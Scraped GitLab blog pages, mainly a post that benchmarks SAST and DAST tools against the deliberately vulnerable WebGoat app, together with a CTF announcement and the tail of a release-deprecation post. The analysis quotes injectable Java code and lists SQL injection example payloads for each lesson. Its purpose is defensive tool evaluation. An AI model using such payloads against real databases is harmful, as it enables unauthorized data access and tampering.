[Disabling Docker in Docker for SAST (12.10 Documentation)](https://docs.gitlab.com/12.10/ee/user/application_security/sast/#disabling-docker-in-docker-for-sast)\n* [Initial deprecation announced in 13.0 (5/22)](/releases/2020/05/22/gitlab-13-0-released/#deprecation-of-docker-in-docker-(dind)-for-security-scanners)\n\n\n## Transition of Secure Analyzers to Linux Alpine image (Low impact)\n\nTo [simplify and modernize](/direction/secure/static-analysis/sast/#whats-next--why) our [GitLab Secure SAST Analyzers](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), we will transition the [GitLab Bandit Python Analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) image from Debian Buster to [Alpine Linux](https://alpinelinux.org/about/). This transition will reduce the image size and increase both the speed and security of our analyzer.\n\n    This transition will be backward incompatible though we expect limited impact. If you use a `before_script` to pre-build dependencies for your Python project, you should test this change before upgrading to GitLab 13.4. We will add a new section in the [SAST troubleshooting documentation](https://docs.gitlab.com/ee/user/application_security/sast/#troubleshooting) with more information about this change as we approach 13.4.\n\n- [Initial deprecation annouced in 13.2 (7/22)](/releases/2020/07/22/gitlab-13-2-released/#transitioning-gitlab-bandit-secure-analyzer-os-image)\n\n\n## Transition of TSLint Job to ESLint (Low impact)\n\nThe [recent update of our ESLint Secure analyzer](/releases/2020/07/22/gitlab-13-2-released/#javascript--typescript-sast-analyzer-available-for-all) includes new support for TypeScript which is actively maintained. Since 2019 the [TSLint project has been deprecated](https://palantir.github.io/tslint/) in favor of ESLint. We have now unified these analyzers in [GitLab's ESLint analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/eslint), which renders our TSLint analyzer obsolete. \n      \nIn 13.2 we deprecated the [TSLint Secure analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/tslint) and have removed the [TSLint job definition from the SAST template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml). If you leverage [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) or `include` the [GitLab Secure SAST Template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml) no action is required, as this transition happened automatically when you updated to GitLab 13.2. We recommend that anyone using the TSLint SAST job in a customized CI template to migrate to the [newly updated ESLint Job](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml#L85).\n\nThe next time the SAST job runs after this transition you may see previously present TSLint vulnerabilities being marked as \"resolved\" and new TypeScript vulnerabilities from ESLint. This behavior is expected due to the new unique vulnerability signatures from ESLint which are different from old TSLint job scan vulnerability signatures.\n\n- [Initial deprecation annouced in 13.2 (7/22)](/releases/2020/07/22/gitlab-13-2-released/#deprecation-and-planned-removal-of-tslint-secure-analyzer)\n\n\n## Looking towards the future\n\nWe are always working to improve the security, efficiency, and quality of our Security scanning tools. These deprecations and removals help us rapidly improve our solution and allow us to deliver on our [Secure product vision](/direction/secure/). We appreciate your understanding of these changes, and if you have questions about these deprecations and removals please [let us know in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235816).\n",[1573,110,14],{"slug":4411,"featured":6,"template":677},"gitlab-com-13-4-breaking-changes","content:en-us:blog:gitlab-com-13-4-breaking-changes.yml","Gitlab Com 13 4 Breaking Changes","en-us/blog/gitlab-com-13-4-breaking-changes.yml","en-us/blog/gitlab-com-13-4-breaking-changes",{"_path":4417,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4418,"content":4424,"config":4429,"_id":4431,"_type":16,"title":4432,"_source":17,"_file":4433,"_stem":4434,"_extension":20},"/en-us/blog/how-to-play-gitlab-ctf-at-home",{"title":4419,"description":4420,"ogTitle":4419,"ogDescription":4420,"noIndex":6,"ogImage":4421,"ogUrl":4422,"ogSiteName":767,"ogType":768,"canonicalUrls":4422,"schema":4423},"How to play GitLab's Capture the Flag at home","Our AppSec team built and ran a CTF, and now it's available for you to play at home.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681485/Blog/Hero%20Images/gitlab_ctf.png","https://about.gitlab.com/blog/how-to-play-gitlab-ctf-at-home","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to play GitLab's Capture the Flag at home\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-08-12\",\n      }",{"title":4419,"description":4420,"authors":4425,"heroImage":4421,"date":4426,"body":4427,"category":14,"tags":4428},[2960],"2020-08-12","\n\nThe GitLab Application Security team created a [Capture the Flag (CTF)](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security) contest for GitLab team members in mid-March to provide a fun, hands-on AppSec experience for those who were interested in a little friendly competition.\n\nWe've reworked this contest a bit so now you can solve the challenges at home!\nAnd, even better, because we created this CTF with all of our GitLab team members in mind, there's a wide variety of beginner-friendly challenges, most of which are related to web security.\n\n## Run it at home\nAll you need to run this at home is [Docker](https://docs.docker.com/get-docker/) and [Docker Compose](https://docs.docker.com/compose/install/). The [CTF-at-home repository](https://gitlab.com/gitlab-com/gl-security/ctf-at-home) is where we're releasing the challenges within a `docker-compose` file. Be sure to have a look at the [README](https://gitlab.com/gitlab-com/gl-security/ctf-at-home/-/blob/master/README.md) for set-up instructions.\n\nRunning the challenges should be as simple as:\n\n```\ngit clone https://gitlab.com/gitlab-com/gl-security/ctf-at-home.git\ncd ctf-at-home\ndocker-compose up\n```\n\nAnd then, visit `http://capture.local.thetanuki.io` to get to the landing page. Fingers crossed🤞, it worked on my machine 😉.\n\n## Try your hand at solving some challenges, then tell us about it\n\nTo keep it beginner friendly, the run-at-home CTF also includes spoilers and solutions for all challenges. If you have trouble running the CTF feel free to [create an issue here](https://gitlab.com/gitlab-com/gl-security/ctf-at-home/-/issues/new).\n\nIf you run the CTF at home and solve some challenges, we're happy to hear your feedback, or even see some write-ups. Feel free to share your experience in the comments below or tweet [@gitlab](https://twitter.com/gitlab).\n\n## Our results 🥁\n\nWe initially planned this CTF contest for [GitLab Contribute](/events/gitlab-contribute/), our company-wide get together, which was to be held in Prague at end of March. While COVID-19 made the physical get-together impossible, this CTF was perfect for running worldwide online and across GitLab teams. We ran the challenges from March 16 to March 27, 2020 and had a total of 50 GitLab team members participate in CTF.\n\n### Team member testimonials\n\nFrom a CTF coordinator perspective, running the contest was a great experience. Thankfully, the players were having a good time as well and we received lots of positive feedback, including:\n\n> It was great to collaborate with folks from all different functional groups at GitLab and all around the world. We learned a lot from each other and everyone was able to contribute!\n\n-- [@stkerr](/company/team/#stkerr)\n\n> The perfect mixture of challenges, ranging from very awesome and interesting, to very awesome and challenging. 😆\n\n-- [@cat](/company/team/#cat)\n\n### Hall of Fame\n\nMeet our top twenty players\n\n1. [@cat](/company/team/#cat)\n2. [@ayufan](/company/team/#ayufan)\n3. [@engwan](/company/team/#engwan)\n4. [@vitallium](/company/team/#vitallium)\n5. [@stkerr](/company/team/#stkerr)\n6. [@T4cC0re](/company/team/#T4cC0re)\n7. [@xanf](/company/team/#xanf)\n8. [@ahmadsherif](/company/team/#ahmadsherif)\n9. [@mbobin](/company/team/#mbobin)\n10. [@jrreid](/company/team/#jrreid)\n11. [@djadmin](/company/team/#djadmin)\n12. [@vij](/company/team/#vij)\n13. [@robotmay](/company/team/#robotmay_gitlab)\n14. [@kgoossens](/company/team/#kgoossens)\n15. [@simon_mansfield](/company/team/#simon_mansfield)\n16. [@alan](/company/team/#alan)\n17. [@SteveTerhar](/company/team/#SteveTerhar)\n18. [@rchan-gitlab](/company/team/#rchan-gitlab)\n19. [@razer6](/company/team/#razer6)\n20. [@floudet](/company/team/#floudet)\n\n__Special shout-outs to [@cat](/company/team/#cat) and [@ayufan](/company/team/#ayufan) who both solved ALL the challenges in less than three days.__\n\nBecause building the challenges and playing the CTF were such a positive experience for all involved, we wanted to make those CTF challenges public. We're hoping to have another CTF in the future, but in the meantime, let us know what you think of this one via comment below or [@gitlab](https://twitter.com/gitlab) on Twitter.\n\nHappy hacking!\n",[14,1212,958],{"slug":4430,"featured":6,"template":677},"how-to-play-gitlab-ctf-at-home","content:en-us:blog:how-to-play-gitlab-ctf-at-home.yml","How To Play Gitlab Ctf At Home","en-us/blog/how-to-play-gitlab-ctf-at-home.yml","en-us/blog/how-to-play-gitlab-ctf-at-home",{"_path":4436,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4437,"content":4443,"config":4448,"_id":4450,"_type":16,"title":4451,"_source":17,"_file":4452,"_stem":4453,"_extension":20},"/en-us/blog/how-to-benchmark-security-tools",{"title":4438,"description":4439,"ogTitle":4438,"ogDescription":4439,"noIndex":6,"ogImage":4440,"ogUrl":4441,"ogSiteName":767,"ogType":768,"canonicalUrls":4441,"schema":4442},"How to benchmark security tools: a case study using WebGoat","When tasked to compare security tools, it's critical to understand what's a fair benchmark. We take you step by step through WebGoat's lessons and compare them to SAST and DAST results.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678166/Blog/Hero%20Images/benchmarking.jpg","https://about.gitlab.com/blog/how-to-benchmark-security-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to benchmark security tools: a case study using WebGoat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"}],\n        \"datePublished\": \"2020-08-11\",\n      }",{"title":4438,"description":4439,"authors":4444,"heroImage":4440,"date":4445,"body":4446,"category":14,"tags":4447},[3590],"2020-08-11","As your organization grows, the necessity for having automated security tools be a component of your development pipeline will increase. According to the latest [BSIMM10 study](https://www.bsimm.com/about.html), full-time security members represented just 1.37% of the number of developers. That's one security team member for every 73 developers. Without automated tooling assisting security teams, vulnerabilities may more easily find their way into production.\n\nWhen tasked to compare security tools, having the knowledge to judge a fair benchmark is paramount for success. We're going to take a very in-depth look at WebGoat's lessons in this blog post.\n\n## Running a fair benchmark\n\nThere are many factors that need to be taken into consideration when comparing various security tools.\n\n1. Is the tool I am testing right for my organization?\n2. Do the applications I chose to run the tools against reflect what my organization uses?\n3. Do the applications contain real security issues in real world scenarios, or are they synthetic?\n4. Are the results consistent across runs? Are they actionable? \n\n### Choosing the right tool\n\nSome tools are developer focused, while others may be tailored to security teams. Highly technical tools built for security teams may give better results, but if it requires domain expertise and significant tuning, it may end up being a worse choice for your organization. \n\nYour organization may also be more concerned about a tool which can run relatively quickly within your development pipeline. If your developers need results immediately, a SAST or DAST tool which takes hours or days to complete may be next to worthless.\n\n### Choosing applications\n\nIt's important when comparing tools that they are run against applications that have been developed in-house or closely mirror what your development teams are creating. A SAST tool that's excellent at finding Java security issues will not necessarily translate to one that's great at finding actionable issues in a NodeJS application. If your organization has a diverse set of languages you should run each tool against applications that reflect those environments.\n\n### Real world flaws\n\nApplications like [WebGoat](https://owasp.org/www-project-webgoat/) or [OWASP's Java Benchmark](https://github.com/OWASP/Benchmark) do not represent real world applications. Most vulnerabilities have been purposely injected into very simple data and code flows. The majority of flaws in WebGoat exist in the same Java class where the source of user input is defined. In reality, a large number of security issues will be hidden in nested layers of abstraction or multiple function or method calls. You'll want to ensure your test suite of applications includes real world applications and the tools can traverse these complex flows to find potential flaws.\n\nEven if a tool is excellent at finding language specific issues, it may or may not support the development team's choice in frameworks. Most SAST tools need to add support for specific frameworks. If the tool supports the language of choice but does not support the particular framework, there will be a higher chance for poor results.\n\n### Are results consistent and useful?\n\nAnalysis of applications should be run multiple times – DAST tools in particular have a difficult time with consistency due to the dynamic nature of testing live applications. Ensure each tool is run the same number of times to gather enough data points to make a clear decision.\n\nSecurity tools tend to over report issues and this can end up causing alert fatigue and reduce the value of the tool. It's important to tune the tools to reduce the number of non-actionable results. Just pay attention to how much time is required to maintain this tuning effort and be sure to include this in the final decision. \n\n## WebGoat as a benchmarking target\n\nWebGoat is a known vulnerable application that was built to help developers and people interested in web application security understand various flaws and risks to applications. Over the years it has seen numerous contributions to the lessons and became a de facto standard for learning about web application security.\n\nDue to the increase in popularity of this project, customers have chosen to rely on using it as a benchmark when assessing the capabilities of various SAST and DAST tools. The purpose of this post is to outline some potential pitfalls when using WebGoat as a target for analysis.\n\nWebGoat was built as a learning aid, not for benchmarking purposes. Certain methods chosen to demonstrate vulnerability do not actually result in real flaws being implemented in WebGoat. To a human attempting to exercise certain flaws, it may look like they've succeeded in finding an issue. In reality, the WebGoat application just makes it appear like they've discovered a flaw. \n\nThis can cause confusion when an automated tool is run against WebGoat. To a human, they expect the tool to find a flaw at a particular location. Since a number of lessons include synthetic flaws, the tools will fail to report them. \n\nFor this post, GitLab's Vulnerability Research Team used the v8.1.0 release of WebGoat, however a number of the issues identified will be applicable to older versions as well.\n\n## WebGoat's architecture\n\nThe focus of this post is on WebGoat and in particular as a target for benchmarking. The WebGoat repository has grown in size over the years and now includes multiple sub-projects:\n\n- webgoat-container - This project holds the static content as well as the [Spring Boot](https://spring.io/projects/spring-boot) Framework's lesson scaffolding. The frontend is built using [Backbone.js](https://backbonejs.org/).\n- webgoat-images - Contains a Vagrant file for training purposes.\n- webgoat-integration-tests - Contains test files\n- webgoat-lessons - Contains the source and resources for the lessons.\n- webgoat-server - The primary entry point for the SpringBootApplication.\n- webwolf - An entirely separate project for assisting users in exploiting various lessons.\n\nWhen building the WebGoat target application, the webgoat-container, webgoat-server and webgoat-lessons are all included into a single SpringBoot server packaged as a JAR artifact. \n\nFor the most part, lessons that contain legitimate flaws exist in a single class file. Certain SAST tools which implement extensive taint tracking capabilities may not be fully exercised. The end result being, SAST tools with limited capabilities will find just as many flaws as more advanced tools that can handle intra-procedural taint flows. It would be better to benchmark these tools against relatively complex applications versus comparing them with WebGoat's simplistic flaws.\n\n## Analysis methodology \n\nOnly the webgoat-container, webgoat-server and webgoat-lessons projects are included in our analysis of WebGoat for SAST/DAST tools. The other projects webgoat-images, webgoat-integration-tests and webwolf are not included. \n\nOur analysis follows the lessons and attempts to identify in the source where the flaws, if any, exist. If a lesson is a description or does not process user input, it is not included in the flaw category listing below. \n\nEach lesson is broken down to cover the following:\n\n- Flaw category\n- Lesson with title\n- Link as viewable from a browser\n- Source\n- Lesson's purpose \n- Relevant source code\n- Whether DAST/SAST would be able to find and the probability level\n    - Possible: A DAST/SAST tool should be able to find the flaw with little to no configuration changes or custom settings\n    - Probable: A DAST/SAST tool could find the flaw with some configuration changes or custom settings\n    - Improbable: A DAST/SAST tool most likely will not be able to find the flaw, due to either hardcoded values or other conditions that are not realistic\n    - Impossible: A DAST/SAST tool would not be able to find any flaw due to it being completely synthetic or other unrealistic circumstances\n- Reasoning why it can or can't be found with a SAST or DAST tool\n- Example attack where applicable.\n\nIn many places there are additional flaws that exist in the code but are not part of the lesson; we will highlight some of these but not exhaustively.\n\nPlease note this post contains spoilers, if you are new to WebGoat as a learning tool and wish to use it for study, it is recommended to do that first before reading our analysis.\n\n## (A1) Injection\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A1) Injection > SQL Injection (intro) > What is SQL?\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/1\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run full SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java#L55-65 \n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (var connection = dataSource.getConnection()) {\n        Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n        StringBuffer output = new StringBuffer();\n\n        results.first();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source (line 55) and is used in a statement's executeQuery method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack2` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=(SELECT repeat('a',50000000) from information_schema.tables)` will take ~3 seconds to complete.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Manipulation Language (DML)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run UPDATE/INSERT SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java#L56-65\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,\n                    CONCUR_READ_ONLY);\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 56 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack3` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from employees)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Definition Language (DDL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/3\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to create tables via SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java#L52-59\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 53 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL injection queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the /SqlInjection/attack4 endpoint's query parameter vulnerable to sql injection.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from information_schema.tables)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Control Language (DCL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it pretends to allow users to run grant/alter on tables via SQL queries. However, it is not calling any SQL functionality.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java#46-51\n\nString regex = \"(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$\";\nStringBuffer output = new StringBuffer();\n\n// user completes lesson if the query is correct\nif (query.matches(regex)) {\n    output.append(\"\u003Cspan class='feedback-positive'>\" + query + \"\u003C/span>\");\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n**DAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > What is SQL injection?\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/5\n\n**Source:** \n- Static content only\n\n**Lesson:**\n\nThis lesson is for practicing SQL Injection query string generation, but does not call any server side functionality.\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n**DAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection against database functionality with the goal of returning all results from a table.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L53-L54\n\npublic AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {\n    return injectableQuery(account + \" \" + operator + \" \" + injection);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L57-62\n\nprotected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n            ResultSet results = statement.executeQuery(query);\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `executeQuery` method is called from a dynamically concatenated string containing user input.\n\n**DAST Reasoning:**\n\nThe three inputs `account`, `operator` and `injection` are all concatenated together and each parameter could technically be used as an attack vector. In this case a DAST tool will most likely suffer from over reporting duplicate flaws, as the three input vectors all end up being used in the same resultant query string.\n\n**Example Attack(s):**\n- `account=Smith' or 1%3d1--&operator=&injection=`\n- `account=&operator=Smith' or 1%3d1--&injection=`\n- `account=&operator=&injection=Smith' or 1%3d1--`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! Numeric SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection when the column type is restricted to numerical values. The goal is to return all results from a table. While the resultant query does make use of prepared statements, it incorrectly concatenates user input for the `userid` column.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java#L56-71\n\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\ntry (Connection connection = dataSource.getConnection()) {\n        PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ...\n        ResultSet results = query.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the query is correctly used in a PreparedStatement only the `Login_Count` is parameterized, the `accountName` is still dynamically assigned, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters, and provided the correct attack string is used, should successfully identify that the `userid` parameter is vulnerable to SQL Injection.\n\n**Example Attack:**\n- `login_count=1&userid=1+or+1%3D1`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising confidentiality with String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/10\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to return all results from a table. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java#L59-65\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);\n        log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Integrity with Query chaining\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to modify a users salary. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java#L61-66\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n        SqlInjectionLesson8.log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters `name` and `auth_tan` which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Availability\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/12\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\n\n**Lesson:**\n\nThis lesson provides a form for testing SQL Injection where the goal is remove evidence of attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java#L58-63\n\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try (Connection connection = dataSource.getConnection()) {\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe action user supplied values are dynamically concatenated to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the action_string parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `action_string=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > Try It! Pulling data from other tables\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\n\nThis lesson is to demonstrate how to extract data from tables other than the one the query was defined to execute against.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#L60-67\n\nquery = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n//Check if Union is used\nif (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n    usedUnion = false;\n}\ntry (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n        ResultSet.CONCUR_READ_ONLY)) {\n    ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `accountName` user supplied value is dynamically assigned to a query string, leading to SQL 